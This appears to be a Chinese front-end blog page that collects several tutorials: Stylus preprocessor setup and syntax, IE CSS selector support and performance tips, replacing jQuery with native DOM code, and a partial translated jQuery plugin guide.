Stylus 是一个CSS的预处理框架，2010年产生，来自Node.js社区，主要用来给Node项目进行CSS预处理支持，所以 Stylus 是一种新型语言，可以创建健壮的、动态的、富有表现力的CSS。比较年轻，其本质上做的事情与 SASS/LESS 等类似，应该是有很多借鉴，所以近似脚本的方式去写CSS代码。  

Stylus默认使用 .styl 的作为文件扩展名，支持多样性的CSS语法。

Stylus功能上更为强壮，和js联系更加紧密。所以我选择 Stylus，SASS 玩儿过一段时间，主要是这玩意依赖ruby运行，所以我放弃使用了。

文档参考

官方Stylus API   
张鑫旭中文翻译
Try Stylus!

Stylus安装

全局安装，安装之前你需要你安装 nodejs 这个怎么安装搜去哦。

$ npm install stylus -g 

这样就算是安装完Stylus了，也可以正常使用Stylus。

Usage: stylus [options] [command] [< in [> out]]
              [file|dir ...]
Commands:
  help <prop>     Opens help info for <prop> in
                  your default browser. (OS X only)
Options:

  -u, --use <path>        Utilize the stylus plugin at <path>
  -i, --interactive       Start interactive REPL
  -w, --watch             Watch file(s) for changes and re-compile
  -o, --out <dir>         Output to <dir> when passing files
  -C, --css <src> [dest]  Convert CSS input to Stylus
  -I, --include <path>    Add <path> to lookup paths
  -c, --compress          Compress CSS output
  -d, --compare           Display input along with output
  -f, --firebug           Emits debug infos in the generated css that
                          can be used by the FireStylus Firebug plugin
  -l, --line-numbers      Emits comments in the generated CSS
                          indicating the corresponding Stylus line
  -V, --version           Display the version of Stylus
  -h, --help              Display help information  

生成CSS

命令行中

建立一个stylusExample/，再在里面建立 src 目录专门存放 stylus 文件，在里面建立 example.styl 文件。然后在 stylusExample 目录下面执行下面命令

$ stylus --compress  src/  

输出compiled src/example.css ，这个时候表示你生成成功了，带上--compress参数表示你生成压缩的CSS文件。   

$ stylus --css css/example.css css/out.styl  CSS转换成styl  
$ stylus help box-shadow  CSS属性的帮助  
$ stylus --css test.css  输出基本名一致的.styl文件

grunt生成

grunt生成 就比较爽歪歪了，具体grunt怎么玩儿，俺写了个教程Grunt教程-前端自动化 可以学习以下。  

stylusExample 目录下创建两个文件，这两个文件是grunt必备文件。

package.json：用于保存项目元数据。  
Gruntfile.js：用于配置或定义任务、加载 Grunt 插件。



package.json 内容

{
  "name": "test",
  "version": "1.0.0",
  "description": "测试的例子",
  "repository": {
    "type": "git",
    "url": ""
  }
}

然后安装必备插件，这些插件让stylus文件变更了自动生成，生成到相对应的文件目录中。如果报错你需要在命令行前面加上sudo，给它最大的执行权限。  

npm install grunt --save-dev    
npm install grunt-contrib-watch --save-dev ：监视文件变动，做出相应动作。npm>>  
npm install grunt-contrib-stylus --save-dev ：stylus编写styl输出css npm>>   

安装出现这样的警告 npm WARN package.json test@1.0.0 No README data 可以不理会，如果你看着不舒服，你需要在stylusExample目录下面建立一个 README.md 文件并输入内容。也可命令执行 echo "#stylus 学习" >> README.md  

插件执行完毕之后 package.json 文件变成了这样样子滴。

{
  "name": "test",
  "version": "1.0.0",
  "description": "测试的例子",
  "repository": {
    "type": "git",
    "url": ""
  },
  "devDependencies": {
    "grunt": "^0.4.5",
    "grunt-contrib-stylus": "^0.21.0",
    "grunt-contrib-watch": "^0.6.1"
  }
}

这个时候你需要使用这些插件儿完成你的任务需要在Gruntfile.js里面写你的执行任务。

/// 包装函数
module.exports = function(grunt) {
    // 任务配置,所有插件的配置信息
    grunt.initConfig({
        pkg: grunt.file.readJSON('package.json'),
        stylus:{
            build: {
                options: {
                    linenos: false,
                    compress: true
                },
                files: [{
                    'css/index.css': ['src/index.styl']
                }]
            }
        },
        // watch插件的配置信息
        watch: {
            another: {
                files: ['css/*','src/*.styl'],
                tasks: ['stylus'],
                options: {
                    livereload: 1337
                }
            }
        }
    });
    // 告诉grunt我们将使用插件
    grunt.loadNpmTasks('grunt-contrib-watch');
    grunt.loadNpmTasks('grunt-contrib-stylus');
    // 告诉grunt当我们在终端中输入grunt时需要做些什么
    grunt.registerTask('default', ['watch']);
};

注意读懂上面的哦，目录高对哦，这些没有必要提醒哦，这个时候你可以好好耍一下stylus

Stylus应用

这个时候真正的开始玩耍了哦。

Try Stylus!

stylus

body,html
    margin:0
    padding:0

编译成

body,
html {
  margin: 0;
  padding: 0;
}

stylus : 强大的功能丰富的语言

-pos(type, args)
  i = 0
  position: unquote(type)
  {args[i]}: args[i + 1] is a 'unit' ? args[i += 1] : 0
  {args[i += 1]}: args[i + 1] is a 'unit' ? args[i += 1] : 0

absolute()
  -pos('absolute', arguments)

fixed()
  -pos('fixed', arguments)

#prompt
  absolute: top 150px left 5px
  width: 200px
  margin-left: -(@width / 2)

#logo
  fixed: top left

编译成

#prompt {
  position: absolute;
  top: 150px;
  left: 5px;
  width: 200px;
  margin-left: -100px;
}
#logo {
  position: fixed;
  top: 0;
  left: 0;
}

nibStylus插件

stylus

@import 'nib'
body
  background: linear-gradient(20px top, white, black) 

编译成

body {
  background: -webkit-linear-gradient(20px top, #fff, #000);
  background: -moz-linear-gradient(20px top, #fff, #000);
  background: -o-linear-gradient(20px top, #fff, #000);
  background: -ms-linear-gradient(20px top, #fff, #000);
  background: linear-gradient(20px top, #fff, #000);
}

Nesting(嵌套)

stylus

header
    #logo
        border:1px solid red

编译成

header #logo {
  border: 1px solid #f00;
}

Flexible syntax(灵活的用法)

stylus

body
    font 14px/1.5 Helvetica, arial, sans-serif
    button
    button.button
    input[type='button']
    input[type='submit']
        border-radius 5px
        
header 
    #logo,div
        font-size:14px

编译成

body {
  font: 14px/1.5 Helvetica, arial, sans-serif;
}
body button,
body button.button,
body input[type='button'] {
  border-radius: 5px;
}
header #logo,
header div {
  font-size: 14px;
}

Flexible &(灵活&)

stylus

ul
    li a
        display: block
        color: blue
        padding: 5px
        html.ie &
            padding: 6px
        &:hover
            color: red

编译成

ul li a {
  display: block;
  color: #00f;
  padding: 5px;
}
html.ie ul li a {
  padding: 6px;
}
ul li a:hover {
  color: #f00;
}

Functions 方法

返回值

stylus

border-radius(val)
    -webkit-border-radius: val
    -moz-border-radius: val
    border-radius: val

button 
    border-radius(5px);

编译成

button {
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  border-radius: 5px;
}

Transparent mixins

不带参数

stylus

border-radius()
    -webkit-border-radius: arguments
    -moz-border-radius: arguments
    border-radius: arguments

button 
    border-radius: 5px 10px;

编译成

button {
  -webkit-border-radius: 5px 10px;
  -moz-border-radius: 5px 10px;
  border-radius: 5px 10px;
}

默认参数

不带参数

stylus

add(a, b = a)
  a + b

add(10, 5)
// => 15

add(10)
// => 20

函数体

通过内置unit()把单位都变成px, 因为赋值在每个参数上，因此，我们可以无视单位换算。

add(a, b = a)
  a = unit(a, px)
  b = unit(b, px)
  a + b

add(15%, 10deg)
// => 25

多个返回值

通过内置unit()把单位都变成px, 因为赋值在每个参数上，因此，我们可以无视单位换算。

sizes()
 15px 10px

sizes()[0]
// => 15px

Variables(变量)

常用方法

stylus

font-size = 14px

body
    font font-size Arial, sans-seri

编译成

body {
  font: 14px Arial, sans-seri;
}

变量放在属性中

stylus

#prompt
    position: absolute
    top: 150px
    left: 50%
    width: w = 200px
    margin-left: -(w / 2)

编译成

#prompt {
  position: absolute;
  top: 150px;
  left: 50%;
  width: 200px;
  margin-left: -100px;
}

块属性访问引用

stylus

#prompt
    position: absolute
    width: 200px
    margin-left: -(@width / 2)

编译成

#prompt {
  position: absolute;
  width: 200px;
  margin-left: -100px;
}

属性有条件地定义属性

stylus:指定z-index值为1，但是，只有在z-index之前未指定的时候才这样：

position()
  position: arguments
  z-index: 1 unless @z-index

#logo
  z-index: 20
  position: absolute

#logo2
  position: absolute

编译成

#logo {
  z-index: 20;
  position: absolute;
}
#logo2 {
  position: absolute;
  z-index: 1;
}


向上冒泡

stylus:属性会“向上冒泡”查找堆栈直到被发现，或者返回null（如果属性搞不定）下面这个例子，@color被弄成了blue.

body
  color: red
  ul
    li
      color: blue
      a
        background-color: @color

编译成

body {
  color: #f00;
}
body ul li {
  color: #00f;
}
body ul li a {
  background-color: #00f;
}

Iteration(迭代)

stylus

table
    for row in 1 2 3 4 5
        tr:nth-child({row})
            height: 10px * row

编译成

table tr:nth-child(1) {
  height: 10px;
}
table tr:nth-child(2) {
  height: 20px;
}
table tr:nth-child(3) {
  height: 30px;
}
table tr:nth-child(4) {
  height: 40px;
}
table tr:nth-child(5) {
  height: 50px;
}

Interpolation(插值)

stylus

vendors = webkit moz o ms official
border-radius()
    for vendor in vendors
        if vendor == official
            border-radius: arguments
        else
            -{vendor}-border-radius: arguments
#content
    border-radius: 5px

编译成

#content {
  -webkit-border-radius: 5px;
  -moz-border-radius: 5px;
  -o-border-radius: 5px;
  -ms-border-radius: 5px;
  border-radius: 5px;
}

Operators(运算符)

运算符优先级  
下表运算符优先级，从最高到最低：

.
 []
 ! ~ + -
 is defined
 ** * / %
 + -
 ... ..
 <= >= < >
 in
 == is != is not isnt
 is a
 && and || or
 ?:
 = := ?= += -= *= /= %=
 not
 if unless

@import

@import "reset.css"

当使用@import没有.css扩展，会被认为是Stylus片段（如：@import "mixins/border-radius"）。  

@import工作原理为：遍历目录队列，并检查任意目录中是否有该文件（类似node的require.paths）。该队列默认为单一路径，从filename选项的dirname衍生而来。 因此，如果你的文件名是/tmp/testing/stylus/main.styl，导入将显现为/tmp/testing/stylus/。  

@import也支持索引形式。这意味着当你@import blueprint, 则会理解成blueprint.styl或blueprint/index.styl. 对于库而言，这很有用，既可以展示所有特征与功能，同时又能导入特征子集。

@font-face

stylus

@font-face
  font-family Geo
  font-style normal
  src url(fonts/geo_sans_light/GensansLight.ttf)

.ingeo
  font-family Geo

编译成

@font-face {
  font-family: Geo;
  font-style: normal;
  src: url("fonts/geo_sans_light/GensansLight.ttf");
}
.ingeo {
  font-family: Geo;
}

@media

stylus

@media print
  #header
  #footer
    display none

编译成

@media print {
  #header,
  #footer {
    display: none;
  }
}

@keyframes

stylus

@keyframes pulse
    0%
      background-color red
      transform scale(1.0) rotate(0deg)
    33%
      background-color blue
      -webkit-transform scale(1.1) rotate(-5deg)

编译成

@-moz-keyframes pulse {
  0% {
    background-color: #f00;
    transform: scale(1) rotate(0deg);
  }
  33% {
    background-color: #00f;
    -webkit-transform: scale(1.1) rotate(-5deg);
  }
}
@-webkit-keyframes pulse {
  0% {
    background-color: #f00;
    transform: scale(1) rotate(0deg);
  }
  33% {
    background-color: #00f;
    -webkit-transform: scale(1.1) rotate(-5deg);
  }
}
@-o-keyframes pulse {
  0% {
    background-color: #f00;
    transform: scale(1) rotate(0deg);
  }
  33% {
    background-color: #00f;
    -webkit-transform: scale(1.1) rotate(-5deg);
  }
}
@keyframes pulse {
  0% {
    background-color: #f00;
    transform: scale(1) rotate(0deg);
  }
  33% {
    background-color: #00f;
    -webkit-transform: scale(1.1) rotate(-5deg);
  }
}

CSS字面量(CSS Literal)

stylus

@css {
  body {
    font: 14px;
  }
}

编译成

body {
  font: 14px;
}

工具
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前言

上一篇系列文章整理了CSS选择器的基础使用方法，因为内容较多且细致，写了很多DEMO，目前将它整理成适合移动端浏览器的CSS选择器的参考手册，方便学习CSS的人参考使用，马上就要搞定了，之后会放出 (笑脸)。

本节内容会跟着上一节的内容继续完善，首先会补充CSS选择器的浏览器支持情况（主要是说IE），比如我们最常用的s1,s2,…,sN群组选择器在IE7时才被支持，并且IE7还支持了很多我们没有想到的选择器，如子元素选择器，属性选择器，了解后你会发现IE7还是挺了不起的。

之后还会补充平常使用选择器遇到的一些问题以及解决方案，最后了解浏览器是如何读取选择器的，怎样使用选择器能达到高效率。

浏览器支持

了不起的IE7

当我们在开发网页时，如果网页需要兼容IE6，那么自然地会把IE6和IE7浏览器归为一路货色，对于不兼容的选择器和属性都将不再考虑使用，可是你是否知道IE7相比IE6增加了许多选择器可以用，如群组选择器，相邻选择器，兄弟选择器，属性选择器。

以下选择器是不支持IE6，仅支持 IE7 及以上的浏览器

基本选择器



	选择器
            	描述
            	版本
        




	s1,s2,...,sN
  	群组选择器，同时匹配所有s1元素或s2元素
  	2.1



	E > F
  	子元素选择器，匹配所有E元素的子元素F
  	2.1



	E + F
  	毗邻元素选择器，匹配所有紧随E元素之后的同级元素F
  	2.1



	E ~ F
  	匹配任何E标签之后的同级F标签
  	3





属性选择器



	选择器
            	描述
            	版本
        




	E[attr]
  	匹配att属性的E元素
  	2.1



	E[attr="val"]
  	匹配att属性且属性值等于val的E元素
  	2.1



	E[attr~="val"]
  	匹配att属性且属性值中的词列表有一个等于val的E元素
  	2.1



	E[attr^="val"]
  	匹配att属性且属性值为以val开头的字符串的E元素
  	3



	E[attr$="val"]
  	匹配att属性且属性值为以val结尾的字符串的E元素
  	3



	E[attr*="val"]
  	匹配att属性且属性值为包含val的字符串的E元素
  	3



	E[att|="val"]
  	匹配att属性且属性值为以val开头并用连接符"-"分隔的字符串的E元素
  	2.1





在IE7浏览器，单复选框的checked在属性选择器中是不被支持的，这部分内容会在下面的常见问题中详细说明。

伪类选择器



	选择器
            	描述
            	版本
        




	E:hover
  	设置元素在其鼠标悬停时的样式
  	2.1



	E:first-child
  	匹配父元素的第一个子元素E
  	2.1





E:hover在IE6中只有a元素可用

伪元素选择器



	选择器
            	描述
            	版本
        




	E:first-letter
  	选择文本块的第一个字母
  	2.1



	E:first-line
  	选择元素的第一行
  	2.1





平庸的IE8浏览器

虽然来到IE8的时代，但是对于新选择器的支持并不多，不过还好我们最常用的E:before和E:after配合content属性都在IE8中得到了很好的支持。

以下选择器不支持IE6，IE7，仅支持 IE8 及以上的浏览器

伪类选择器



	选择器
            	描述
            	版本
        



	E:focus
  	设置对象在成为输入焦点时的样式
  	2.1





伪元素选择器



	选择器
            	描述
            	版本
        




	E:before
  	在元素前面插入内容，配合"content"使用
  	2.1



	E:after
  	在元素后面插入内容，配合"content"使用
  	2.1





狂拽炫酷*炸天的IE9

IE最好的时代就是迎接CSS3的到来，从IE9支持了一大坨新CSS3的伪类以及伪元素，我就勉强给IE使用上这个酷炫点的修饰语。

以下选择器不支持IE6，IE7，IE8，仅支持 IE9 及以上的浏览器

伪类选择器



	选择器
            	描述
            	版本
        




	E:checked
  	匹配用户界面上处于选中状态的元素E
  	3



	E:enabled
  	匹配用户界面上处于可用状态的元素E
  	3



	E:disabled
  	匹配用户界面上处于禁用状态的元素E
  	3



	E:root
  	匹配文档的根元素，对于HTML文档，就是HTML元素
  	3



	E:last-child
  	匹配父元素的最后一个子元素E
  	3



	E:nth-last-child(n)
  	匹配父元素的倒数第n个子元素E
  	3



	E:nth-of-type(n)
  	匹配同类型中的第n个同级兄弟元素E
  	3



	E:nth-last-of-type(n)
  	匹配同类型中的倒数第n个同级兄弟元素E
  	3



	E:first-of-type
  	匹配同类型中的第一个同级兄弟元素E
  	3



	E:last-of-type
  	匹配同类型中的最后一个同级兄弟元素E
  	3



	E:only-child
  	匹配父元素仅有的一个子元素E
  	3



	E:only-of-type
  	匹配同类型中的唯一的一个同级兄弟元素E
  	3



	E:empty
  	匹配没有任何子元素（包括text节点）的元素E
  	3



	E:not(s)
  	匹配不含有s选择符的元素
  	3



	E:target
  	匹配文档中特定"id"点击后的效果
  	3





伪元素选择器



	选择器
            	描述
            	版本
        




	E::first-letter
  	选择文本块的第一个字母
  	3



	E::first-line
  	选择元素的第一行
  	3



	E::before
  	在元素前面插入内容，配合"content"使用
  	3



	E::after
  	在元素后面插入内容，配合"content"使用
  	3



	E::selection
  	设置对象被选择时的样式
  	3







让IE6-8支持伪类和属性选择器

如何才能让IE6~8支持CSS3伪类和属性选择器，也许你已经想到了，我们会用JavaScript工具来进行辅助，那么刚好|8e50989464f7517425e2c31ba2d6dd59424|就可以完成这件事情，而且使用起来很简单，只要把selectivizr.js引入到页面上就可以了，如下：

<!- -[if (gte IE 6)&(lte IE 8)]>

      <script type="text/javascript" src="selectivizr.js"></script>

<![endif]- ->

但是使用它还有一些注意事项：


	必须要引用一个JavaScript库，比如jQuery


	只能解析<link>标签引入的样式，如果是<style>定义的样式是不会解析的


	动态生成的DOM不会做二次映射


	需要在标准模式的DTD才能够生效




项目地址：http://selectivizr.com

常见问题与Bug


* 通配符造成继承失效

* {
    color:red;
}

#test{
    color:blue; 
}

<div id='test'>
    <a href="#">text</a>
</div>

▲ 最终text的颜色却是红色的

按照我们的理解，id的优先级是高于*通配符的，而文字也本应该继承id元素的color值，所以最终的文字应该是蓝色呀。

所以这里混淆了一个概念，继承的样式的优先级永远低于元素本身的样式，包括通配符选择器，所以大家在开发中，应该尽可能的避免滥用通配符，以免带来一些隐性问题。

关于这个问题，还可以参考《关于CSS特殊性的问题》

而在IE6及更早浏览器并不支持通配选择符(*)，只是将它忽略了，所以也变相的能看到效果。

E:hover 失效

E:hover伪类用于设置元素在其鼠标悬停时的样式，但是在某种情况会导致效果失效，如下:

#test {
    background:red;
}
#test div { 
    display:none;
}
#test:hover div{
    display:block;
    background:yellow;
}

<div id="test">触发我<div>看到我了吧</div></div>

▲ 当触发#test:hover时，此效果是在IE6中是无效的，因为在IE6中，E:hover伪类仅能用于a（超链接）对象，且该a对象必须要拥有href属性。

E:hover还有一种失效的状态，是大家最常见的，代码如下：

a:link {color:gray;}
a:hover{color:green;}
a:visited{color:yellow;}
a:active{color:blue;}

<a href="#nogo">文字</a>

▲ 当超链接处于a:hover时，你会发现其效果是无效，文字的颜色不会变成绿色，这是因为超链接的伪类样式书写是有固定顺序的，不能颠倒，这四个属性正确的定义顺序为：

a:link {}
a:visited {}
a:hover {}
a:active {}

E:focus 失效


#test:focus + p {
    font-weight:bold;
}

<button id="test">点击我触发focus</button>
<p>文字</p>

▲ 当点击button按钮触发:focus时将邻近元素的文字进行加粗，但是这个效果在IE8是失效的，如何来修复它呢，只需要添加一个空的:focus选择器，如下：

#test:focus + p {
    font-weight:bold;
}
#test:focus {}

E:first-line 失效

如果在当前选择器内使用了!important，:first-line伪类内部的定义的属性会被完全忽略，示例：

p {
    color:blue;
}
p:first-line {
    color:red !important;
}

<p>第一行文字，<br/>第二行文字</p>

▲ 正常情况下第一行的文字会变成红色，但是在IE8浏览器却忽略它没有任何变化，如何来解决这个问题呢，把!important去掉就好了，如下：。

p {
    color:blue;
}
p:first-line {
    color:red;
}

E:first-letter 失效

E:first-letter失效和E:first-line失效的问题是相同的，解决方案请参考上方。

E > F 失效

就是子选择器中间有注释会导致属性失效，如下：

#test > 
/*子选择器*/
p {
    color:red;
}

<div id="test">
    <p>文字</p>
</div>

▲  如果你非要这样写注释，那么在IE7下会导致子选择器失效，同样，E + F邻近选择器也有同样的问题，如何解决呢，不在选择器中间添加注释就可以了。

性能优化

CSS 选择器我们都在使用，但是如何让它变的更简洁，高效呢？ 
首先选择器对性能的影响源于浏览器匹配选择器和文档元素时所消耗的时间，所以优化选择器的原则是应尽量避免使用消耗更多匹配时间的选择器，但是在此之前我们需要先了解浏览器的匹配机制，就是它是如何读取我们的选择器的。

选择器匹配机制

#nav > a {
    color:red;
}

当我们看到这个选择器的时候，会认为首先会找到id为nav的元素，然后在找到其子元素，将样式属性应用到a元素上。

事实上，却恰恰相反，因为浏览器读取选择器时，不是按照我们的阅读习惯从左到右，而是遵循的从选择器的右边到左边进行读取的。

当我们知道这个匹配机制后，再回来看这个选择器，浏览器必须先遍历页面中所有的 a 元素，然后查找其父元素的id是否为nav，这样一来你就会发看似高效的选择器在实际中的匹配开销是很高的。

理解了CSS选择器从右到左匹配的机制后，我们再看以下两种选择器：

div #nav

#nav div

你是否会认为第2种选择器的效率要高于第1种，那么就错了，其实第一个选择器的效率更高，因为第一个选择器的关键选择器使用了#id选择器”，而第二个选择器的关键选择器使用的是div标签选择器。

这里所说的关键选择器，就是CSS选择器中最右边部分，它是被浏览器最先寻找的，那么哪类选择器是最高效的？哪个是会影响选择器效率的关键选择器？

选择器效率

在上面内容中我们了解浏览器的匹配机制，以及关键选择器的重要性，那么哪些CSS选择器能够减少性能损耗呢？

Google 资深web开发工程师 Steve Souders 对 CSS 选择器的执行效率从高到低做了一个排序：


	id选择器（#id）


	类选择器（.className）


	标签选择器（div,h1,p）


	相邻选择器（h1+p）


	子选择器（ul > li）


	后代选择器（li a）


	通配符选择器（*）


	属性选择器（a[rel="external"]）


	伪类选择器（a:hover,li:nth-child）




从Steve Souders的CSS Test我们可以看出#id选择器和.className类选择器在速度上的差异很小很小。而在一个a标签选择器的测试上显示，它比#id选择器和类选择器的速度慢了很多，从这里我们可以看出#id、.className选择器 和 a标签、li a后代选择器中间的差异较大，但是相互之间的差异较小。

接下来举几个示例：

#nav {}
.menu{}

p#nav {}
p.menu {}

▲ 上面的选择器效率要高于下面的选择器，标签元素会降低选择器效率

优化建议

我们理解了CSS选择器从右到左匹配的机制，也了解关键选择器的重要性，以及CSS选择器的效率排序，那么在使用选择器的时候，通过避免不恰当的使用，来提升 CSS 选择器性能。

避免使用通用选择器

#nav * {…}

▲ 这个选择器所做的是选择所有在页面上的单个元素（是每个单个的元素），然后去看看它们是否有一个#nav的父元素。这是非常不高效选择器，开销太大了，应该避免关键选择器是通配选择器的情况。

避免使用标签或 class 选择器限制 id 选择器

/* Bad */
div#nav {…}
.menuBalck#menu {…}

/* Good */
#nav {…}
#menu {…}

▲ ID选择器本身就是唯一的，加上div反而增加不必要的匹配；

避免使用标签限制 class 选择器

/* Bad */
span.red {…}

/* Good */
.text-red {…}

▲ 在标签上定义class选择器，在开发和维护时容易混淆，一般不建议这样写。

避免使用多层标签选择器。使用 class 选择器替换，减少css查找

/* Bad */
a[href="#"] > span > em {…}

/* Good */
.className {}

▲ 这种情况建议直接定义.className 选择器，然后使用<em class="className"></em>

避免过渡使用子选择器

/* Bad */
div ul li a {}
div > ul > li > a {}

/* Good */
.className {…}

▲ 这种情况建议直接定义.className 选择器，然后使用<a class="className"></a>

避免过度限制选择器

/* Bad */
html body .wrapper #content a {}

/* Good */
#content a {}

▲ 这里至少有3个选择器是完全不需要的，过度限制选择器使浏览器工作比它实际需要的更繁重，花费的时间更多，所以这里应该避免。

利用可继承性

/* Bad */
#nav > li > a { color:red; } 

/* Good */
#nav { color:red; }

▲ 在使用选择器之前，请先考虑利用继承性实现

下一节继续整理选择器的优先级和继承性相关内容。


 JSLite 的目标：缩小体积，做到 jQuery-free
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转载大牛的分析，这将是JSLite的方向。前人栽树后人乘凉，jQuery为我们制定了一套接口标准，我们继续为此努力。域名：JSLite.io


jQuery 分析



  据统计，目前全世界57.3%的网站使用它。也就是说，10个网站里面，有6个使用jQuery。如果只考察使用工具库的网站，这个比例就会上升到惊人的91.7%。





  虽然jQuery如此受欢迎，但是它臃肿的体积也让人头痛不已。jQuery 2.0的原始大小为235KB，优化后为81KB；如果是支持IE6、7、8的jQuery 1.8.3，原始大小为261KB，优化后为91KB。

  这样的体积，即使是宽带环境，完全加载也需要1秒或更长，更不要说移动设备了。这意味着，如果你使用了jQuery，用户至少延迟1秒，才能看到网页效果。考虑到本质上，jQuery只是一个操作DOM的工具，我们不仅要问：如果只是为了几个网页特效，是否有必要动用这么大的库？





  2006年，jQuery诞生的时候，主要用于消除不同浏览器的差异（主要是IE6），为开发者提供一个简洁的统一接口。相比当时，如今的情况已经发生了很大的变化(Usage share of web browsers)。IE的市场份额不断下降，以ECMAScript为基础的JavaScript标准语法，正得到越来越广泛的支持。开发者直接使用JavScript标准语法，就能同时在各大浏览器运行，不再需要通过jQuery获取兼容性。




下面就探讨如何用JavaScript标准语法，取代jQuery的一些主要功能，做到jQuery-free。


选取DOM元素


jQuery的核心是通过各种选择器，选中DOM元素，可以用querySelectorAll方法模拟这个功能。


js     var $ = document.querySelectorAll.bind(document);



这里需要注意的是，querySelectorAll方法返回的是NodeList对象，它很像数组（有数字索引和length属性），但不是数组，不能使用pop、push等数组特有方法。如果有需要，可以考虑将Nodelist对象转为数组。


jsmyList = Array.prototype.slice.call(myNodeList);



DOM操作


DOM本身就具有很丰富的操作方法，可以取代jQuery提供的操作方法。

尾部追加DOM元素。


js　　// jQuery写法
　　$(parent).append($(child));
　　// DOM写法
　　parent.appendChild(child)



头部插入DOM元素。


js　　// jQuery写法
　　$(parent).prepend($(child));
　　// DOM写法
　　parent.insertBefore(child, parent.childNodes[0])



删除DOM元素。


js　　// jQuery写法
　　$(child).remove()
　　// DOM写法
　　child.parentNode.removeChild(child)



事件的监听


jQuery的on方法，完全可以用addEventListener模拟。


jsElement.prototype.on = Element.prototype.addEventListener;



为了使用方便，可以在NodeList对象上也部署这个方法。


jsNodeList.prototype.on = function (event, fn) {
　　[]['forEach'].call(this, function (el) {
　　　　el.on(event, fn);
　　});
　　return this;
};



事件的触发


jQuery的trigger方法则需要单独部署，相对复杂一些。


jsElement.prototype.trigger = function (type, data) {
　　var event = document.createEvent('HTMLEvents');
　　event.initEvent(type, true, true);
　　event.data = data || {};
　　event.eventName = type;
　　event.target = this;
　　this.dispatchEvent(event);
　　return this;
};



在NodeList对象上也部署这个方法。


jsNodeList.prototype.trigger = function (event) {
　　[]['forEach'].call(this, function (el) {
　　　　el['trigger'](event);
　　});
　　return this;
};



document.ready


目前的最佳实践，是将JavaScript脚本文件都放在页面底部加载。这样的话，其实document.ready方法（jQuery简写为$(function)）已经不必要了，因为等到运行的时候，DOM对象已经生成了。


attr方法


jQuery使用attr方法，读写网页元素的属性。


js$("#picture").attr("src", "http://url/to/image");



DOM元素允许直接读取属性值，写法要简洁许多。


js　　$("#picture").src = "http://url/to/image";



需要注意，input元素的this.value返回的是输入框中的值，链接元素的this.href返回的是绝对URL。如果需要用到这两个网页元素的属性准确值，可以用 this.getAttribute('value')和this.getAttibute('href') 。


addClass方法


jQuery的addClass方法，用于为DOM元素添加一个class。


js　　$('body').addClass('hasJS');



DOM元素本身有一个可读写的className属性，可以用来操作class。


js　　document.body.className = 'hasJS';
　　// or
　　document.body.className += ' hasJS';



HTML 5还提供一个classList对象，功能更强大（IE 9不支持）。


js　　document.body.classList.add('hasJS');
　　document.body.classList.remove('hasJS');
　　document.body.classList.toggle('hasJS');
　　document.body.classList.contains('hasJS');



CSS


jQuery的css方法，用来设置网页元素的样式。


js　　$(node).css( "color", "red" );



DOM元素有一个style属性，可以直接操作。


js　　element.style.color = "red";;
　　// or
　　element.style.cssText += 'color:red';



数据储存


jQuery对象可以储存数据。


js　　$("body").data("foo", 52);



HTML 5有一个dataset对象，也有类似的功能（IE 10不支持），不过只能保存字符串。


js　　element.dataset.user = JSON.stringify(user);
　　element.dataset.score = score;



Ajax


jQuery的Ajax方法，用于异步操作。


js　　$.ajax({
　　　　type: "POST",
　　　　url: "some.php",
　　　　data: { name: "John", location: "Boston" }
　　}).done(function( msg ) {
　　　　alert( "Data Saved: " + msg );
　　});



我们可以定义一个request函数，模拟Ajax方法。


jsfunction request(type, url, opts, callback) {
　　var xhr = new XMLHttpRequest();
　　if (typeof opts === 'function') {
　　　　callback = opts;
　　　　opts = null;
　　}
　　xhr.open(type, url);
　　var fd = new FormData();
　　if (type === 'POST' && opts) {
　　　　for (var key in opts) {
　　　　　　fd.append(key, JSON.stringify(opts[key]));
　　　　}
　　}
　　xhr.onload = function () {
　　　　callback(JSON.parse(xhr.response));
　　};
　　xhr.send(opts ? fd : null);
}



然后，基于request函数，模拟jQuery的get和post方法。


jsvar get = request.bind(this, 'GET');
var post = request.bind(this, 'POST');



动画


jQuery的animate方法，用于生成动画效果。


js$foo.animate('slow', { x: '+=10px' });



jQuery的动画效果，很大部分基于DOM。但是目前，CSS 3的动画远比DOM强大，所以可以把动画效果写进CSS，然后通过操作DOM元素的class，来展示动画。


js　　foo.classList.add('animate');



如果需要对动画使用回调函数，CSS 3也定义了相应的事件。


js　　el.addEventListener("webkitTransitionEnd", transitionEnded);
　　el.addEventListener("transitionend", transitionEnded);



参考链接



	Remy Sharp，I know jQuery. Now what? 

	Hemanth.HM，Power of Vanilla JS

	Burke Holland，5 Things You Should Stop Doing With jQuery




 「jQuery插件开发日记」（二）高级插件理念 - [翻译]
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Advanced Plugin Concepts，翻译自 jQuery 官方网站。

默认设置的共有接口

对于上一篇文章最后的代码，我们可以改进，也应该改进的地方就是，为我们的插件的默认设置提供共有接口，使得用户可以直接更改默认设置。

这样做的好处就是可以让用户用最少的代码量来定制我们的插件。这次的例子是：

// Plugin definition.
$.fn.hilight = function( options ) {
 
    // Extend our default options with those provided.
    // Note that the first argument to extend is an empty
    // object – this is to keep from overriding our "defaults" object.
    var opts = $.extend( {}, $.fn.hilight.defaults, options );
 
    // Our plugin implementation code goes here.
 
};
 
// Plugin defaults – added as a property on our plugin function.
$.fn.hilight.defaults = {
    foreground: "red",
    background: "yellow"
};

现在用户可以这样更改默认设定：

// This needs only be called once and does not
// have to be called from within a "ready" block
$.fn.hilight.defaults.foreground = "blue";

这样使用我们的插件：

$( "#myDiv" ).hilight();

你可以看到，我们允许用户使用仅仅一行代码就覆盖了某个默认设定。除此之外，用户仍然可以传入参数来覆盖他们设定的默认设置。

// Override plugin default foreground color.
$.fn.hilight.defaults.foreground = "blue";
 
// ...
 
// Invoke plugin using new defaults.
$( ".hilightDiv" ).hilight();
 
// ...
 
// Override default by passing options to plugin method.
$( "#green" ).hilight({
    foreground: "green"
});

附属函数的公共接口

为某些附属函数提公共接口，能够非常好的去扩展和让别人扩展你的插件。

举个例子，我们的插件可能实现了一个叫 format 的函数， 这个函数格式化强调文本的形式。我们在 hilight 函数下面定义了 format 的默认方法。

// Plugin definition.
$.fn.hilight = function( options ) {
 
    // Iterate and reformat each matched element.
    return this.each(function() {
 
        var elem = $( this );
 
        // ...
 
        var markup = elem.html();
 
        // Call our format function.
        markup = $.fn.hilight.format( markup );
 
        elem.html( markup );
 
    });
 
};
 
// Define our format function.
$.fn.hilight.format = function( txt ) {
    return "<strong>" + txt + "</strong>";
};

